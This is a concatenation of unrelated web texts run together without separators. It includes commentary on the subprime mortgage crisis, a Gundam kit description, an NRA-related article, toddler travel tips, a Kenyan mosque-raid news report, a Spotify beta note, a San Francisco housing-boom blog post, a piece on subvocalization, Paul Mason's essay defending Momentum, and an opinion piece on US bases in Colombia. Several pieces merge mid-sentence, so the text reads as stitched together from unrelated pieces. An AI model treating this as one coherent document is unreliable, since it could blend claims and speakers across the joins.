Banks and mortgage lenders. They hardly needed persuading to get on the bandwagon. Lenders had just gone through wildly profitable 2003, when falling interest rates ignited a boom in refinancing -- and refinancing fees -- among prime borrowers. Wondering how to keep it going, lenders realized that they could expand it into the subprime market by qualifying borrowers with loans carrying a low teaser rate -- in the 8 to 9 percent range for a subprime loan -- then refinance them into another loan before unaffordable higher interest rates in the double digits kicked in. And if they could steer unsuspecting prime borrowers into subprime loans, they could even inflate the subprime market itself. So lenders paid mortgage brokers a kickback for steering borrowers into higher-priced loans.
Lenders also slashed downpayment requirements from 10 percent to 5 percent and even to zero. They quoted monthly payment figures that didn't include taxes and insurance to dupe borrowers into believing that their payments would be lower if they refinanced. If lenders didn't evaluate borrowers' credit at all, they could deem them a higher risk and charge more. Brokers and bank officers often didn't bother to tell borrowers that providing income and job verification would lower the loan's cost considerably. In fact, a majority of subprime customers -- 61 percent in 2006, by one count -- could have qualified for less expensive conventional loans.
To those who say that these folks knew what they were getting into, ask yourselves this: Would six of every 10 people knowingly pay more for a product than they had to?
In 2005 and 2006, the height of the market, most subprime loans had high prepayment penalties and deceptively low teaser rates. Borrowers were told that, before the rate increased, they could refinance into another loan, again with a teaser rate that would adjust after two or three years. Lenders made sure that the new loan would be bigger so that it could cover the fees they paid themselves, including thousands of dollars in prepayment penalty fees that borrowers weren't aware of but had to pay before they could retire the first loan and get a new one. Eventually, the new loan would be financed by another, even bigger loan, which could be approved only if the borrower's house kept appreciating, which everyone assumed would happen.
The private-label, subprime bond market grew from $18 billion in 1995 to nearly $500 billion in 2005. Wall Street sold subprime everywhere: to public and private pension funds, foreign governments and financial conglomerates, even fishing villages in the Arctic Circle.
Then the unthinkable happened: In 2006, home appreciation slowed. That slowed refinancings, which revealed that much of the appreciation had been caused by the breathless refinancings in the first place. As the higher double-digit rates that lenders must have known borrowers couldn't afford kick in, delinquencies, defaults and foreclosures are exploding. Credit Suisse predicts 6.5 million foreclosures over the next five years.
Here are the other culprits to finger in this sordid tale.
The White House. A few sounded the alarm early on. In 2000, during the final months of the Clinton administration, Treasury official Gary Gensler, while commending banks for making more prime loans to people and communities that had been underserved, noted that subprime lending had also expanded, with some troubling accompanying trends, including a worrying increase in foreclosures.
Eight months later, George W. Bush became president. The new administration paid no attention to the developing crisis. On the contrary. In 2001, the Department of Housing and Urban Development barred class-action suits on complaints about kickbacks that brokers receive to steer borrowers into pricier loans. At the same time, Bush, heralding the subprime market for opening doors to home ownership, said that it didn't need more rules. (He should have talked to his dad, who, as vice president under Ronald Reagan, saw the same mistake being made during the S&L scandal.)
The maestro. In 1994, Congress gave the Federal Reserve Board authority to write the rules for all mortgage lenders. In the past 14 years, the Fed has done next to nothing. Its most comprehensive attempt to impose order came five months ago, when it proposed a new set of rules so anemic that on some issues, such as prepayment penalties, they are worse than the status quo.
In recent months, dozens of news reporters and bloggers have blamed former Fed chairman Alan Greenspan for the mortgage mess, saying that he made money too cheap by keeping interest rates too low for too long from 2003 to 2004. "Those who argue that you can incrementally increase interest rates to defuse bubbles ought to try it sometime," Greenspan said recently. He has a point.
But what he does deserve blame for -- big, big blame -- is failing to exercise his power as rule-maker for the mortgage industry. Subprime lending could have continued, but with a few safety rules, such as "Don't cheat people." During a go-go free-for-all, Greenspan could have been the adult at the party.
Reckless speculators, with special mention for Angelo R. Mozilo. No lender better epitomizes bad behavior than Mozilo, the always tan and dapper chief executive of Countrywide. He continued to sell abusive subprime loans last year, even as the market unraveled. The Justice Department recently launched an investigation into his company's lending practices. Under public pressure, Mozilo agreed earlier this year to forgo at least $37.5 million in severance pay triggered when the company agreed to be sold to Bank of America. Still, he left with a pension and retirement package worth tens of millions.
Congress. Why, with all this outrageous behavior under its nose, did the Senate last month overwhelmingly approve billions of dollars in tax breaks to industry but offer little to folks facing foreclosure? The answer: money. The financial services and real estate industries are far and away the largest federal campaign donors, giving more than $247 million in the 2007-08 cycle alone. Between 1999 and the end of 2006, as the subprime mess festered, the mortgage industry and its trade groups spent $187 million lobbying Congress, effectively blocking any efforts to ban abusive practices at the national level.
Fannie and Freddie. For the most part, they didn't buy the most abusive subprime mortgages from lenders because the loans didn't meet their standards. But they did buy private-label subprime bonds for their own investment portfolios to boost profits. From 2004 through 2006, these congressionally chartered companies bought a third of the $1.6 trillion in private-label bonds that Wall Street firms issued. This helped legitimize the market, giving pension funds and foreign governments additional (albeit false) comfort that these securities were safe.
Bush regulators have also allowed Fannie and Freddie to count these securities toward federally set goals for encouraging mortgage lending to low-income borrowers. As it turns out, the increase in home ownership, especially among minorities, that Bush has repeatedly touted as one of his presidency's main goals has been a bust: Yale economics professor Robert J. Shiller points out that foreclosures have pushed the national home ownership rate back to nearly the 67.5 percent it was when Bush took office, and it's likely to fall further. Minority families, which received a disproportionate share of subprime loans, will bear the brunt.
The enablers. The story would be incomplete without special mention of the credit-rating agencies, especially Standard & Poor's, Moody's and, to a lesser extent, Fitch. The firms, which had a conflict of interest because they were paid by the same folks who were issuing the securities, okayed subprime deals without sufficiently kicking the tires to make sure they held at least a little air. Wall Street didn't guarantee the mortgages it bought against default, so buyers of private-label mortgage-backed securities bought private insurance, which insurers sold based on the credit-rating agencies' stamp of approval.
Clearly, some of the so-called credit crunch we now find ourselves in isn't a crunch at all but a return to sobriety. It means that money's not so cheap and won't be available at all
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citizens a say.
Last year EFF joined other civil society organizations last year in calling for IP to be left out of TTIP. A year on, as the closed negotiations inch forward, we have heard nothing to cause us to change our position.This is a posable, high-grade or better injection-plastic kit of an item from the Gundam universe.
Recreate the heated battle scenes seen in the "Mobile Suit Gundam MS IGLOO 2: Gravity Front" OVA or build your own custom One Year War battlefield diorama with this impressive HGUC set offering! Included are snap-fit parts that come molded in color and allow you to build a HGUC mass production type MS-06 Zaku, which can be equipped with weaponry consisting of a Zaku Machine Gun, Heat Hawk, a pair of three-tube missile pods, Zaku Bazooka with two firing effect parts, two Crackers, and two Sturm Fausts. Three pairs of optional hands are provided. Also packed in this set are two Type-615+ E.F.G.F. M61A5 main battle tanks with two explosion effect parts, two PVN.4/3 Wappas, plus four Zeon and four Earth Federation soldiers (figures come molded in gray). A foil sticker and a sheet of waterslide marking decals are included.On October 21, The New York Times charged the NRA of accusing “guilt by association” with an ad suggesting Senate candidate Bruce Braley (D-IA) is a gun control supporter in line with Michael Bloomberg.
To do this the Times highlighted part of the ad where a photo of Braley is pasted beside a photo of Bloomberg at a speaking event, then said, “The issue is not a minor one for Mr. Braley, who… has said he has never met Mr. Bloomberg.”
The Times failed to note that the NRA ad never claims that Braley met Bloomberg. But the ad does claim Braley and Bloomberg are on the same page on gun control, and that the two attended one of Bloomberg’s political events together. The NRA claim that Braley and Bloomberg attended the event is substantiated by a link on Braley’s website which says he spoke at a “No Labels” function on December 13, 2010 and was “joined” by Bloomberg and other left-leaning politicians.
Braley’s own statements show that he is in line with the kind of gun control which Bloomberg supports, with one exception–Braley didn’t think the failed Senate gun control bill was harsh enough on gun companies.
In June 2013, Braley told the Huffington Post he would have opposed the Senate gun control bill because it allowed gun companies to get “economic benefit” by which “they could fund all of the assaults, legislative assaults” to fight more gun control in Congress.
Follow AWR Hawkins on Twitter @AWRHawkins. Reach him directly at [email protected] recently undertook a brave (and probably insane) experience: an international trip with three kids under the age of four. Was it worth it? Definitely? Were we insane? Probably. And yet we managed to come back alive. Traveling with toddlers wasn’t easy most of the time, but it gave us the confidence to undertake new family adventures. There are many things I might have done differently, things we had to learn the hard way.
I’m hoping to save you the trouble with these 12 tips for traveling with toddlers or small children.
Travel Prep
1. No amount of preparation is too much.
We had the trip booked half a year in advance, which gave us plenty of time for planning. And we used it! First, we did some research on the destination, the resort, the travel logistics. How should we get to the airport? Do we need to pack our own car seats? What activities will there be for children? All of these practical, long-range questions got us thinking about the details of pulling this trip off.
Our biggest concern was keeping our twins (18 months) happy and entertained during a long overseas flight and airport layover. We brainstormed every possible way that we might entertain them. Toys, activities, snacks, every kind of distraction was considered. We perused places like Etsy for cute, portable, unique toys that would keep the boys’ attention.
2. Pack snacks, toys, and then more snacks.
We packed what we thought was a lot of snacks and plenty of toys. It turned out not to be nearly enough of either. Toys are a problem because toddlers tend to have A.D.D. even at home, where we have dozens (hundreds) to choose from. Even with the most razzle-dazzle, fantastic little toys, they were bound to become bored. New, strange environments like airplane cabins and airports hold far too many new wonders for any toy to compete.
Snacks are another essential that we tried to plan for. Every purse and carry-on luggage and jacket pocket was stuffed with bags of crackers and fruit snacks. We had muffin packs for everyone for the ride to the airport, and even stopped for a couple of extra-nice coffees at the airport. Unfortunately:
The coffee came so super-hot that I couldn’t drink it until we were on the plane, and by then I had a toddler on my lap.
The muffins were a poor choice because the kids wanted to hold and throw and crumble them all over the airport.
Most of the remaining snacks were gone (eaten or thrown on the floor) halfway through the first flight.
Some snacks are better than others. Looking back, I’d have favored fruit snacks and applesauce pouches (the kind with the twist-off straw “nozzle”) and kept them more accessible. I’d also have had my coffee in the car on the way to the airport; trying to juggle a boiling-hot cup of it and wrangle three toddlers just isn’t a good idea.
3. Travel with Backup Cameras
We love documenting our little one’s adventures and growth with photos (and videos), mostly because there’s not time to do much else. A family vacation is one of those pivotal must-photo events, so we carefully packed our camera, charger, and a backup battery. About a day into the trip, we got sand on it, and that was devastating news. Few things are worse for cameras than dry sand getting into the moving parts.
There was good news and bad news. The good news is that I had my iPod Touch which takes photos and videos. The bad news is that it does poorly in low light or motion shots. Thankfully, I was able to get our camera working again. Next time I’d like to have two (one for each of us); that way more memories are captured and there’s always a backup.
People on the Trip
4. Family help is essential
We probably wouldn’t have taken this trip, and certainly wouldn’t have made it back, without grandma and grandpa to help out. With three kids under the age of 4, it’s just too hard to keep everyone together and tote our luggage around. At various critical moments, they or my brother were around to wrangle one of our kids, strollers, or suitcases. That extra set of hands was indispensable.
Once we settled in at the resort, we were fine. Completely self-sufficient. But the travel part was another animal entirely.
5. You’ll be “those people”. You know, the ones with the screaming toddler(s).
Are you ever in a public place — in a restaurant, at church, etc. — and seen parents with their hands full? A baby screaming, a toddler running off, a child being disobedient. When traveling, odds are good that you’re going to be that family. There’s very little you can do about it, other than try not to care. Remember that these are strangers you’ll probably never see again. Focus on keeping your family safe and happy first; the others can come later.
6. Some people will take pity on you
One thing that surprised me on a few occasions was how nice (tolerant) some people were of us. This began in the airplane, when a nice airline worker let us slide in line right in front of a college girls’ volleyball team that had showed up in line while we figured out that you can’t use self-serve kiosks to check in if you have lap babies. Groan. But the airline worker helped us cut in line and the coach didn’t seem to mind.
The volleyball players, too, were quite tolerant on the flight. Of course, we also bought some goodwill with fun-sized bags of M&Ms, a Pinterest recommendation that I should pass along. There were other acts of kindness by strangers who recognized what an ordeal it is to travel with three small children. Lots of little things, like holding open doors for our double stroller or letting us jump part of the line at security. We took any help we could get!
7. Some people don’t give a crap.
On the other side of the coin, there were a few bad apples out there. Where the airline employee excelled, just about every flight attendant was completely unhelpful. Not just to me, mind you, but really to everyone else out on the plane. One came up and groused at us that one of our kids’ toys had strayed into the aisles (“These aisles must be kept CLEAR”). I guess when you’re a flight attendant on a bankrupt airline, you’re not out to make new friends.
Then there are your run-of-the-mill jerks who jostle you with their body or overloaded luggage cart without so much as an apology. One guy who’d arrived at the notorious airport only about 20 minutes before his flight’s departure nearly ran down my mom and daughter, only shouting “Watch out!” To my mom’s credit, once he passed she said “I think ‘excuse me’ is the term he was looking for.” There are going to be jerks out there, whether or not you have little kids doesn’t matter.
Airplane Travel
8. Airport security sucks.
The fact that airport security sucks is widely known. The long lines, the invasive technology, the inevitable delays, and the flight restrictions all conspire to make airplane travel more difficult. Add in some cranky toddlers and you really have a stressful event. Here are a couple of things to remember:
Your stroller will have to go through the X-ray machine. Be prepared to hold your child and try to fold it up with one hand.
Baby shoes do not have to be removed and scanned. Thank goodness.
Remember the basics. Sometimes in the stress and chaos of traveling with small children, one forgets the simple restrictions like the bottle of water in one’s backpack.
9. The world is poorly babyproofed
Another lesson that our international trip with toddlers was quick to remind us: the world is poorly babyproofed. Many of the hazards and risks that we tackled when babyproofing for twin boys at home are now within easy reach: unsecured furniture, toilets, sharp objects, drinks, places to fall. This is true of virtually every public place, but especially airports, restaurants, and hotels/resorts.
10. Corral and contain (double strollers)
So how did we manage flights and layovers and hotel stays and public beaches with our energetic little ones? Corral and contain, baby! First of all, we packed sturdy lightweight double strollers (click for our review) and kept the twins in them whenever possible. At restaurants, we made prodigious use of high chairs and a booster seat.
When we did let the kids loose, we tried to do so in a contained area. In the airport, for example, we claimed an aisle of seats at the gate and used baggage to seal of each end, effectively making the middle a play area. We did the same on the beach with chairs and beach bags.
In enclosed places like our hotel room, we invested some time in toddler-proofing. Basically this involved keeping doors closed and putting things (trash cans, overpriced mini bar snacks, etc.) up high where they’re out of reach. Once this was done, we could maintain a sort of “zone” defense where each parent watched a room.
In open spaces we took a more direct approach: man-to-man coverage. Our 3-year-old was pretty good, so most of this centered on her younger brothers. Again, family help was crucial! I can’t thank them enough.
Kids and Vacation
11. Keep the daily routine
One strategy that really helped on our vacation was preserving the daily routine. Our daily schedule closely mirrored the one we keep at home:
Wake up and breakfast Beach time or water park Lunch Baths, milk cups, and then nap time Wake up and get dressed Dinner Back home for pajamas and milk cups Bedtime for the kids
Notice how we worked around meals and naps? When you’re on vacation, it’s very tempting to throw caution to the wind and try to do too much. Skipping meals or naps or staying out late is just going to leave you with over-tired, cranky kids. Instead, we stuck to our routine and everyone was happier for it.
12. Expect a different kind of vacation
If you’ve taken a trip or vacation with young children, you know this already: it’s a very different kind of vacation. Traveling with toddlers takes a lot more preparation (and brings far more stress) than traveling with only adults. There’s not a lot of “me” time, but as a parent, you’re used to this already. And you probably don’t mind either! So take pictures, let them have fun, and do your best to keep everyone safe. Enjoy these times! You and your kids deserve to.Image copyright AFP Image caption Police say the Masjid Musa mosque is used as a recruitment ground for al-Shabab
Kenyan police say they have conducted dawn raids on two mosques in the coastal city of Mombasa, recovering grenades and ammunition.
One person was shot dead by police and more than 250 people were arrested during the operation.
Police said the Masjid Musa and Shakinah mosques were being used to store weapons.
They have accused the Masjid Musa mosque of having ties to the Islamist militant group al-Shabab.
Al-Shabab, which is based in neighbouring Somalia, has carried out several attacks in Kenya since 2011, when Kenya sent troops into Somalia to battle it.
Police say they recovered a pistol, eight grenades and a flag associated with al-Shabab at the mosques.
One man was shot dead during the raid after he "attempted to hurl" a hand grenade at police officers, Mombasa police chief Geoffrey Mayek told reporters.
This is the second time this year that the Masjid Musa mosque has been raided by police, the BBC's Emmanual Igunza reports from Mombasa.
Police say it is used as a recruitment and training ground for young people seeking to join al-Shabab, our correspondent adds.
'Volatile situation'
Activist Hussein Khalid, from civil society group HAKI Africa, condemned the police raids.
"Force will only act to heighten tension in what is already a volatile situation," he said in quotes carried by AFP news agency.
The Muslim Human Rights Forum has criticised a previous raid on Masjid Musa mosque, accusing police of using excessive force.
There have been several gun attacks in Mombasa this year. Both moderate and radical Muslim clerics have been shot dead, while a church has also been attacked by gunmen.
Some Muslim leaders have accused the security forces of killing the clerics - charges denied by the authorities.
Al-Shabab, which means "The Youth" in Arabic, says it is an ally of al-Qaeda and is believed to have between 7,000 and 9,000 fighters.I am certainly not the first to say it, but I do not like the bottom navigation bar thing. Perhaps because I have been trained to like the slide-out navigation in my years of using Android. Who knows. Regardless, it is a trend and we are seeing more apps toying with the idea. A few months ago, the Spotify beta app introduced this change. You had five tabs with which to navigate and that was that.
A little bit after that update, the bottom bar disappeared. But in the most recent beta, it's back and redesigned. Even though I do not like it in any app, I have to admit that I like the look that Spotify has opted for here on this one. Besides the icons being different, white is now the accent color instead of the green from before (thankfully). The five tabs are still the same: Home, Browse, Search, Radio, and Library.
As expected, this presence of the bottom navigation pushes the now playing bar up. I do not use Spotify enough to have the muscle memory to hit the pause button without thought, but I can see that being an issue for some. If you are not in the beta, be sure you go download the latest version from APKMirror.We want this time to be different so badly, we can almost taste it.
If you visit San Francisco, you will find it difficult to walk more than a few blocks in central S.F. without encountering a major construction project. It seems that every decrepit low-rise building in the city has been razed and is being replaced with a gleaming new residential tower.
Parking lots have been ripped up and are now sprouting condos and luxury rental flats.
The influx of mobile/software tech into the S.F. Bay Area has triggered not just a boom in tech but in all the service sectors that cater to well-paid techies. This mass of new people has created traffic jams that last virtually all day and evening, and overloaded the area's BART transit rail system such that trains at 11 pm are as jammed as any during rush hour.
This phenomenal building boom is truly something to behold, as it has spread from S.F. to the East Bay as workers priced out of S.F. move east across the Bay, driving up rents to near-S.F. levels.
This is of course a modern analog of the Gold Rush in the 1850s, and the previous tech/building boom in the late 1990s: an enormous influx of income drives a building boom and a mass influx of treasure-seekers, entrepreneurs, dreamers and those hoping to land a good-paying job in Boomland.
The same phenomenon has been visible in the Oil Patch states every time oil/gas skyrocket in price.
We know how every boom ends--in an equally violent bust. Yet in the euphoria of the boom, it's easy to think this one will last longer than the others.
I distinctly recall the mass excitement of COMDEX in 1999, the big computer-tech trade show in Las Vegas. The city was packed, the convention centers were packed, and an enormous banner announcing the then revolutionary slogan "the network is the computer--Sun Microsystems" welcomed the faithful.
I saw Bluetooth demonstrated for the first time in that show (at a Motorola booth), and dozens of other consumer technologies that never quite caught on--kits to turn your PC into a TV, etc.
A year later the bubble had burst, and a decade later Sun Micro had lost its edge and would end its glorious run in the ignominy of being sold to Oracle for pennies on the dollar.
Rents in San Francisco are now so obscene that there is even a parody in which Hitler tries to rent a flat in S.F.
Across the Bay in Oakland, new relatively large 1-bedroom flats with Bay views are asking $3,300 a month. The same flat in S.F. would fetch $4,000 or more per month. Techies working for free on a buddy's start-up have famously rented the space beside the washing machine in a laundry room for $400 a month.
How many average workers can afford to pay $40,000 a year in rent? After taxes, even techies earning $80,000/year would have little to show for their labor once they paid $40K after $20K in taxes and deductions have been subtracted from their annual wage.
The current Gold Rush will collapse, and as the newly fired marginalized workers pack up and leave, nobody will be renting the flats for $4,000/month. The owners will try reducing the rents to $3,000/month, and with no takers, they will go bust and the gleaming towers will be auctioned off. Eventually rents will decline to what people can actually afford.
This process will take a few years, as owners are reluctant to accept secular declines in rent and the resulting insolvency. Restaurants and other secondary businesses that arose to serve the techies will hang on, paying insane rents, for a few months and then give up losing money and close.
We naturally cling to the euphoria and glory of a boom; they generate such hope and positive emotions. The bust is no fun at all, a slow cascade of layoffs, insolvencies, moves to cheaper and far less exciting locales, busted dreams and all the mourning that accompanies the shattering of dreams and hopes.
Knowing all this doesn't prepare us for the bust, any more than the initial signs of a boom prepared us for the bubble. We want this time to be different so badly, we can almost taste it. But this time is only different on the margins; the flavor of the bust remains the taste of ashes.
Admin note: I will be busy with family commitments this month. As a result, blog posts will be sporadic and email responses will be near-zero. Thank you for your understanding.
My book on the emerging economy is now available as an audiobook: Get a Job, Build a Real Career and Defy a Bewildering Economy (Audible.com).
My new book is in the top 10 of Amazon's Kindle ebooks > Business & Money > International Economics: A Radically Beneficial World: Automation, Technology and Creating Jobs for All. The Kindle edition is $9.95 and the print edition is currently discounted to $20.82.
NOTE: Contributions/subscriptions are acknowledged in the order received. Your name and email remain confidential and will not be given to any other individual, company or agency.Almost everyone has an internal monologue — that little voice inside your head which puts thoughts into words, but words that only you can “hear.” And it’s probably better that no one else can hear these often passing thoughts, as we tend to self-censor before those ideas become words which fly out of or out mouths or pens. Or, in other words: We can’t read each other’s minds — and that’s probably a good thing.
But it may change. Somewhat.
When we think in words, our bodies get ready to speak. At times — particularly when we’re reading, although hardly limited to that event — this manifests itself in something called “subvocalization.” This mental prep manifests in our throats; as the Guardian notes, “inner speech is accompanied by tiny muscular movements in the larynx.” Those muscle movements are the first steps toward turning some of our thoughts into words, and importantly, they happen even if those thoughts are never carried further. If you can hear the words in your head, someone else can also see those very same words in your throat.
This isn’t a new discovery; we’ve known about this for a bit more than a century. Practically, though, there isn’t a lot we can do with these teeny-tiny movements. They’re hardly visible to the naked eye, and monitoring these movements requires that you have all sorts of sensors and doodads placed on your throat. Further, the tiny tremors created in one’s larynx by subvocalization aren’t complete sounds; it would require a lot of data to map these movements to comprehendible words or thoughts.
At least for now. Just ask NASA.
In 2004, the American space agency issued a press release describing their efforts to turn tiny throat movements into recognizable words. First, the space agency created “small, button-sized sensors” to be placed on the necks and under the chins of a willing group of participants. (Here’s a picture.) Then, the test subjects were asked to say, to themselves and only in their minds, a handful of words: “stop,” “go,” “left,” “right,” “alpha” and “omega,” and the numbers “zero” through “nine.” The NASA software recorded the throat movements as those words were thought, creating a database against which it could track future movements. It worked; per the press release, “initial word recognition results were an average of 92 percent accurate.”
The translations are, for the most part, basic, but that is something that further trials should be able to improve upon — you just need to spend more time mapping more and more sounds. The larger leap, for now, is whether we can gather that information from a distance, without having to put sensors on the throats of those whose subvocalizations we aim to detect. NASA, per the same press release, was “testing new, ‘noncontact’ sensors that can read muscle signals even through a layer of clothing.” To date, those haven’t been successful — and that may be for the better.
Bonus fact : One occupation which could benefit from translating subvocalizations into communications? Actors, at least if you take the advice of Brian Cranston. Cranston — best known for his roles as Walter White in Breaking Bad and Hal (the dad) in Malcolm in the Middle — also played Lyndon B. Johnson in the Broadway production of All the Way. In order to protect his voice, he took the advice of another Broadway actor, Audra McDonald. He explained that advice to NPR:
[McDonald] was starting to feel the strain on her vocal chords, and her ear, nose and throat doctor said I recommend strongly, in fact I’m telling you, to shut down on your one day off. Don’t talk at all. And so she incorporated Mondays as her silent day. And I thought as a pre-emptive strike, I’m going to do the same.
Instead, one day a week, Cranston carried “little notepads and a whiteboard” with him, writing notes instead of speaking. (And yes, one of the notepads had a pre-written explanation as to why he was doing this.)Elite goes tinfoil over Momentum
Owen Smith calls 18,000-strong group an “alien parasite”
Paul Mason Blocked Unblock Follow Following Sep 17, 2016
In the past two days there’s been a clear, programmed switch of emphasis in the Labour right’s campaign against Jeremy Corbyn.
They have switched from attacking Corbyn himself to attacking Momentum, the grassroots campaign set up by his supporters after he won last time, and which forms the backbone of his leadership campaign now.
A Times story, based on an offical-looking but anonymous dossier about Momentum’s activities in Liverpool, forms the centrepiece. Two pre-scheduled TV “investigations” are to follow.
The Liverpool dossier has been compiled by someone — believed to be local Labour officials — using undercover surveillance methods to infiltrate Google and Facebook groups Momentum uses.
The dossier follows the usual, Zinoviev letter-style method used in all red-baiting: to build the case that Momentum is, instead of an 18,000+ strong movement of Labour activists, a alien force originating outside the party.
It concludes — without any evidence- that numerous members of Momentum have joined:
“with darker, more insidious intent… to seize control of the machinery of local Labour Parties and use it for their own ends.”
As rightwing blogger Guido Fawkes notes:
Whoever carried out the extensive investigation must have had significant abilities and resources. This is not an amateur job, it is a forensic red-on-red black op which found its way to the press to diminish the party leadership. Note that it’s written in the official party font.
The Times editorial completes the logic:
“Momentum is technically independent of Labour. In reality it is the cuckoo in Labour’s nest, busy entrenching Mr Corbyn’s power and undermining British values and democracy in the process.”
It’s important to understand the change of emphasis. A few weeks ago Owen Smith was demanding the right to attend Momentum rallies alongside Corbyn. Though concerns were expressed about a few individuals inside Momentum who, in the past, had been activists on the far left, this is different.
Now Smith has suggested it is a Militant-style entryist group. Yesterday he came very close to suggesting that like Militant it should be proscribed. He said:
“We have seen these tactics in the past under Militant. Momentum is not terribly subtle. Creating a big ‘M’ at the front of their name should give the game away.”
The previous allegation — that Momentum was infiltrated by the far left — has been superseded by the idea that the group itself, in its entirety, is an “entryist” formation.
The allegation is ludicrous.
With 18,000 members Momentum is four times bigger than the Militant Tendency ever was, even at the height of its influence in the mid-1980s. Momentum is organising The World Transformed — an open, free, largely unstructured culture and ideas festival alongside Labour conference in Liverpool as a way of attracting non-party activists and local young people. The organisers have arranged open press access and gained sponsorship from two Labour-affiliated unions and a major NGO. Indeed until last week their main problem was convincing the press to cover it.
Militant, by contrast, was a rigid grouping, with two layers of secrecy, an internal command/control structure and an elected leadership along Bolshevik lines. It operated like this because that is how the Labour right operated. It was in some ways a mirror image of the bureaucratic hierarchy it tried to oppose.
Today, that is still how the Labour right organises: Saving Labour, for example, is a website co-ordinating attacks on Corbyn which has still not reveal who funds it or owns it. Labour Tomorrow is collecting funds from rich donors for purposes as yet unannounced. It has no publicly accountable structures at all. Momentum, by contrast, is an open and democratic group.
So what’s really going on?
If Corbyn loses, the anonymous Liverpool dossier is clearly designed and scheduled to feed a subsequent witch-hunt with spurious evidence prompting “justified concern” of entryism.
But if Corbyn wins, and the Labour ultra-right try split the party, the entryism fantasy becomes even more important. It was this “justified concern” that led Appeal Court judges to rule in favour of Labour barring 130,000 signed up members of the party from the vote.
I have suggested before that the manufacture of an “entryism” narrative is being done to bolster the legal battle that would be fought by Labour’s pro-1% wing if it decides to walk away from the party. Its moral claim to the name, premises and bank account would rest on the legal argument that an “alien” force had stolen them.
So what can we now expect? Both Panorama and Dispatches have been preparing hatchet-jobs on Corbyn for weeks. But Corbyn’s campaign has provided meagre pickings for any TV journalist who follows UK broadcasting rules on fairness and impartiality. Corbyn’s core ideas poll very well among the general public and there have been — “traingate” notwithstanding — no major gaffes.
Any fair account of the Corbyn campaign would have to conclude he’s won the arguments, grown in stature and turned his party into the biggest political force on the left in Europe, albeit he faces big challenges going forward.
So instead, both TV exposés are said to have turned into hatchet jobs on Momentum. These will be amplified in the anti-Labour newspapers of Rupert Murdoch, starting tomorrow in the Sunday Times.
The solution is for both Momentum and Progress — the millonaire-funded Blairite pressure group — to become formally affiliated societies to the Labour Party. That would make all Momentum members effectively Labour members — either via individual party membership or via affiliation as with the other societies. They would then be subject to party rules.
That would need a rule change. In the meantime the principle should be clear: members of proscribed organisations obviously cannot be members of the Labour party. But there are thousands of people currently barred from membership on spurious grounds; in these circumstances I think it’s acceptable for anybody to be a member of Momentum as long as they do not campaign for rival parties like TUSC, the Greens or the SNP.
Beyond this — and this is why I am keen on the social movement idea — Labour members need actually to be collaborating with Green activists, left nationalists, anti-political people and even Libdems when it comes to grassroots resistance over issues like grammar schools.
One of the reasons Momentum grew so rapidly after Corbyn won is that the official structures of the Labour Party remained so dire: branch meetings are dull and bureaucratic; Young Labour stifled by Blairism; CLPs strangled by hierarchical politics. Many of the new members who joined to support Corbyn reported outright hostility from the existing bureaucracy.
And without Momentum, inner-party life would have ground to a halt this summer, after the General Secretary arbitrarily closed down all party meetings. But that is changing.
Going forward, there’s a big job ahead to open up the official structures:
to de-select the (hopefully few) MPs who insist on actively sabotaging and abusing Corbyn;
to bring forward a new “A-list” of candidates — more representative of the class, gender, ethnic and sexual-orientation of the UK population than the present PLP;
passing coherent radical policies Labour Conference 2017 and the next National Policy Forum;
deepening the left’s majority on the NEC and reversing the purge;
focusing activist resources into geographical areas where the official party is weak;
and turning Labour’s regional structures from anti-left “enforcement” operations into local networks of co-ordination to fight the Conservatives.
The more Labour achieves its stated aim of becoming a social movement the less activists will need to do via Momentum itself.
Momentum could, in future, concentrate on policy formation, member education and the kind of issue-activism an electoral party with limited resources can never properly do.
In all events, Momentum should be defended. It is a genuine movement of the Labour left; it stands in the long tradition of radical social democracy, going back to Robert Blatchford’s Clarion movement before 1914, or the ILP in the 1920s.
And one of the clearest indicators that Momentum is a genuine, democratic formation is that the surviving far left — the SWP and Socialist Party–stand separate from it and their leaderships are wary of it. This suits me — because I have no sympathy for the bureacratic and hierarchical culture of Bolshevik re-enactment groups; it is precisely the open-ness, cultural diversity and networked outlook of Momentum, and the generation of youth drawn to it, that terrifies them.
Instead of attacking Momentum, any social democrat with an ounce of knowledge of Labour history should welcome it, even if they disagree with its politics. It is one of the factors preventing the “Pasokification” of social democracy here— ie the process of hollowing out, to be replaced by a party of the far left we’ve seen in Greece, Portugal and Spain.
The bottom line is: Momentum has a right to exist within the Labour Party and its members have a right to be heard.
If you’re a member of it, the best way to survive the upcoming red scare will be to smile your way through it. This is the tinfoil hat moment of the Labour right, as it realises half a million people cannot be bought by the money of a supermarket millionaire.
So get out the popcorn. You’re about to see what happens to the neo-liberal wing of Labour — and its propaganda arm — when the workers, the poor and the young get a say in politics.
In modern parlance: they are about to lose their shit.The United States is massively building up its potential for nuclear and non-nuclear strikes in Latin America and the Caribbean by acquiring unprecedented freedom of action in seven new military, naval and air bases in Colombia. The development - and the reaction of Latin American leaders to it - is further exacerbating America's already fractured relationship with much of the continent.
The new US push is part of an effort to counter the loss of influence it has suffered recently at the hands of a new generation of Latin American leaders no longer willing to accept Washington's political and economic tutelage. President Rafael Correa, for instance, has refused to prolong the US armed presence in Ecuador, and US forces have to quit their base at the port of Manta by the end of next month.
So Washington turned to Colombia, which has not gone down well in the region. The country has received military aid worth $4.6bn (£2.8bn) from the US since 2000, despite its poor human rights record. Colombian forces regularly kill the country's indigenous people and other civilians, and last year raided the territory of its southern neighbour, Ecuador, causing at least 17 deaths.
President Hugo Chavez of Venezuela, who has not forgotten that US officers were present in government offices in Caracas in 2002 when he was briefly overthrown in a military putsch, warned this month that the bases agreement could mean the possibility of war with Colombia.
In August, President Evo Morales of Bolivia called for the outlawing of foreign military bases in the region. President Manuel Zelaya of Honduras, overthrown in a military coup d'état in June and initially exiled, has complained that US forces stationed at the Honduran base of Palmerola collaborated with Roberto Micheletti, the leader of the plotters and the man who claims to be president.
And, this being US foreign policy, a tell-tale trail of oil is evident. Brazil had already expressed its unhappiness at the presence of US naval vessels in its massive new offshore oilfields off Rio de Janeiro, destined soon to make Brazil a giant oil producer eligible for membership in Opec.
The fact that the US gets half its oil from Latin America was one of the reasons the US Fourth Fleet was re-established in the region's waters in 2008. The fleet's vessels can include Polaris nuclear-armed submarines - a deployment seen by some experts as a violation of the 1967 Tlatelolco Treaty, which bans nuclear weapons from the continent.
